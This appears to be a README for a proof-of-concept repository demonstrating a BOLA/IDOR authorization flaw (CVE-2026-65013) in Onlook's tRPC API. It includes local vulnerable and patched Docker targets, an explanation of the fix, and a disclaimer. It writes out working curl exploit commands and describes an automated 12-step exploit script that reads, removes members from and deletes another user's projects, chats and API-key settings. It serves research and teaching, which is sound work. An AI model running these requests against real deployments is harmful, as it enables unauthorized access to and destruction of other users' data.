
Reproduzierbarer BOLA/IDOR-PoC gegen Onlooks tRPC-API (CVE-2026-65013), mit einer 12-Schritte-Exploit-Kette, verwundbaren und gepatchten Docker-Zielen sowie technischer Dokumentation.
Reproduzierbarer PoC für BOLA / IDOR in der tRPC-API von Onlook (CVE-2026-65013).
Jeder authentifizierte Benutzer kann Projekte, Mitglieder und KI-Verlauf
anderer Benutzer lesen, ändern und löschen, indem er einfach deren UUIDs
an die tRPC-Prozeduren übergibt (Versionen <= 0.2.32).
| CVE | CVE-2026-65013 |
| Advisory | GHSA-j6x3-f5cf-2pg4 |
| CWE | CWE-639 (Authorization Bypass Through User-Controlled Key) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Verwundbar | Onlook <= 0.2.32 |
| Patch | Commit 423e2e9 (PR onlook-dev/onlook#3129) |
| Dokument | Inhalt |
|---|
Onlook stellt sein Backend über tRPC bereit, und die Prozeduren erhalten die ID der Ressource direkt vom Client:
project.get({ projectId }) // liest jedes Projekt
member.remove({ projectId, userId }) // wirft jeden heraus
chat.conversation.delete({ conversationId }) // löscht KI-Verlauf
settings.get({ projectId }) // Settings mit API-Keys
Das Problem: die meisten prüften nicht, ob der Aufrufer Mitglied des Projekts war. Die Verbindung zu Postgres (Drizzle) war ein Superuser, der von Row Level Security ausgenommen war, sodass die Kontrolle im tRPC-Code liegen musste ... und dort fehlte sie.
Ein Helper verifyProjectAccess() existierte bereits (angewendet auf eine
Handvoll Prozeduren, z. B. project.update/delete), aber der Rest der
Angriffsfläche vertraute auf die ID des Clients: project.get, member.list,
member.remove, invitation.list, chat.conversation.*, chat.message.*,
branch.*, settings.*, frame.* ...
Die Authentifizierung ist NICHT das Problem (Supabase-JWT funktioniert). Es ist die objektbezogene Autorisierung (BOLA/IDOR): Der Angreifer nutzt seine eigene legitime Sitzung gegen die IDs des Opfers.
lib/authorization.js enthält die fehlenden Helper (verifyProjectAccess,
verifyConversationAccess, verifyMessagesAccess, verifyBranchAccess,
verifyCanvasAccess, verifyMemberRemoval, verifyInvitationAccess) — das
Äquivalent zum Commit 423e2e9.lib/router.js ruft sie nur auf, wenn enforceAuth aktiviert ist; im
verwundbaren Modus werden die Prozeduren ohne die Prüfung ausgeführt (der
eigentliche Bug).Unauthorized or not found (UNAUTHORIZED), damit die Existenz von
Ressourcen nicht enumeriert werden kann:
docker compose up -d --build
curl -s http://localhost:3000/health # {"status":"ok","fixed":false} → VERWUNDBAR
curl -s http://localhost:3001/health # {"status":"ok","fixed":true} → GEPATCHT
Docker fährt das Target hoch (verwundbar und gepatcht) plus einen
demo-Dienst. Die Ausnutzung erfolgt von deinem Rechner aus gegen diese Targets.
curl -s http://localhost:3000/demo/ids # IDs des Seeds des Opfers (Alice)
Dies ersetzt den realen Kanal, über den ein Angreifer die UUIDs erhalten würde (geteilter Preview-Link, Referrer aus Logs, Einladungen ...).
TOKEN=$(curl -s -X POST http://localhost:3000/login \
-H 'content-type: application/json' \
-d '{"email":"[email protected]","password":"bob123"}' | node -pe 'JSON.parse(require("fs").readFileSync(0,"utf8")).token')
# 3a. LEER das geheime Projekt von Alice (GET, Format input={"json":...}):
curl -s "http://localhost:3000/api/trpc/project.get?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# → {"result":{"data":{"json":{"id":"1111...","name":"Lanzamiento Q3 (PROYECTO SECRETO)",...}}}}
# 3b. Mitglieder und E-Mails AUFLISTEN (obwohl man dem Projekt fremd ist):
curl -s "http://localhost:3000/api/trpc/member.list?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# 3c. Alice (Owner) aus IHREM eigenen Projekt WERFEN (POST-Mutation):
curl -s -X POST http://localhost:3000/api/trpc/member.remove \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"projectId":"11111111-1111-4111-8111-111111111111","userId":"aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa"}}'
# → {"result":{"data":{"json":true}}} ← (Alice ist nicht mehr in ihrem Projekt)
# 3d. Den KI-Verlauf von Alice LÖSCHEN:
curl -s -X POST http://localhost:3000/api/trpc/chat.conversation.delete \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"conversationId":"44444444-4444-4444-8444-444444444444"}}'
node exploit.js)Führt die 12 Prozeduren der Kette aus (Projekt lesen, Projekte von Alice auflisten, E-Mails filtern, den Owner herauswerfen, Einladungen auflisten, KI-Verlauf lesen/löschen, Branches, Settings mit apiKey, Frames):
node exploit.js # gegen :3000 (verwundbar) → Datenlecks
node exploit.js --target http://localhost:3001 --expect blocked # gegen :3001 (gepatcht)
Typische Ausgabe (verwundbar):
💥 project.get → FILTRADO
💥 member.remove → FILTRADO (membership ajeno borrado: true)
💥 chat.conversation.delete → FILTRADO (historial de IA ajeno borrado: true)
...
✅ 12/12 — CVE-2026-65013 CONFIRMADA: bob leyó/borró recursos de alice.
Gegen den gepatchten:
🛡️ project.get → BLOQUEADO (Unauthorized or not found)
...
✅ 12/12 — Servidor PARCHEADO: el mismo ataque fue bloqueado.
Die Ausnutzung verändert die In-Memory-Datenbank des verwundbaren Servers: Um sie erneut auszuführen, starte diese Instanz neu (
docker compose restart server).
npm run demo # vergleicht VERWUNDBAR vs GEPATCHT im Prozess (ohne Netzwerk), 12 Prozeduren
bash test-local.sh # umfassender Harness: curl (Advisory-Format) + Exploit gegen :3100 und :3101, echter Exit-Code
Oder in Docker:
docker compose up -d demo
docker logs cve-2026-65013-demo
open http://localhost:3000 # (oder http://localhost:3001 für die gepatchte Version)
Demo-Konten:
project.getPreviewProjects), Serverstatus
(verwundbar/gepatcht) und tRPC-Angriffsfläche.💥 FILTRADO / 🛡️ BLOQUEADO pro Prozedur.Das Frontend ist Präsentation: Die Schwachstelle lebt in
lib/router.js, und der manuelle curl-Ablauf aus dem README bleibt derselbe.
.
├── Dockerfile node:22-alpine + deps + app
├── docker-compose.yml server (vulnerable :3000), server-fixed (:3001), demo — misma imagen, cambia FIXED
├── .dockerignore excluye node_modules
├── .gitignore
├── package.json @trpc/[email protected], @trpc/client, superjson, zod
├── server.js HTTP: /health, /login, /demo/ids, /api/trpc/*, estáticos (FIXED=env)
├── exploit.js PoC automatizado (cadena BOLA/IDOR de 12 pasos)
├── demo.js comparación vulnerable vs parcheado en proceso
├── test-local.sh batería local: curl (formato advisory) + exploits + exit code
├── lib/
│ ├── db.js base en memoria + seed (UUIDs estáticos y reproducibles)
│ ├── auth.js tokens de sesión HS256 (bien hechos a propósito)
│ ├── authorization.js helpers del FIX (commit 423e2e9) → "Unauthorized or not found"
│ └── router.js createAppRouter({ enforceAuth }) — el surface tRPC
├── public/ app "real" (login, dashboard, consola Red Team)
│ ├── index.html
│ ├── styles.css
│ └── app.js cliente tRPC manual (mismo wire format del advisory)
└── docs/
├── CVE-2026-65013.md documentación técnica de la CVE
└── ARQUITECTURA.md este repo explicado (mapa, wire format, extensión)
Um zu verstehen, was jede Schlüsselzeile des Exploits tut und wie man ihn auf weitere Prozeduren erweitert:
docs/ARQUITECTURA.md §8-§9.
Dieses Material dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Verwende den Exploit nur gegen eigene Anwendungen oder mit schriftlicher Genehmigung des Eigentümers. Die unbefugte Nutzung dieser Technik gegen Systeme Dritter ist illegal, und die Verantwortung für ihre Nutzung trägt die Person, die sie ausführt.
docs/CVE-2026-65013.md | Technik der CVE: Root Cause (ausgenommene RLS + falsch verteilter Helper), tatsächlich betroffene Angriffsfläche, Anatomie des Angriffs, zeilenweise Analyse des Fixes 423e2e9, Behebung, CVE-/Advisory-/PR-Referenzen. |
docs/ARQUITECTURA.md | Des PoC: Dateizuordnung, Wire-Format tRPC v10+superjson, Datenmodell, Schema VULN vs FIX, Prozedurtabelle, Zuordnung PoC ↔ echtes Onlook, Erweiterungsanleitung, manuelle Validierung/CI. |
// chat.conversation.delete — verwundbar (ohne Prüfung) vs gepatcht:
enforce(() => verifyConversationAccess(ctx.db, ctx.user.id, input.conversationId))
project.update bleibt in beiden Modi geschützt als "Kontrast": Es zeigt,
dass der Helper existierte, nur falsch verteilt war.| Prozedur | :3000 verwundbar | :3001 gepatcht |
|---|
project.get (fremdes Projekt) | 200 + Name/Metadaten | 401 Unauthorized or not found |
member.list (fremde E-Mails) | 200 + E-Mails | 401 |
member.remove (Owner herauswerfen) | 200 true | 401 |
chat.conversation.delete | 200 true | 401 |
settings.get (apiKey) | 200 + Settings | 401 |
project.update (Kontrast: war bereits geschützt) | 401 | 401 |
| Passwort | Rolle |
|---|
[email protected] | alice123 | Eigentümerin des geheimen Projekts |
[email protected] | bob123 | der Angreifer |
[email protected] | charlie123 | Editor des Projekts von Alice |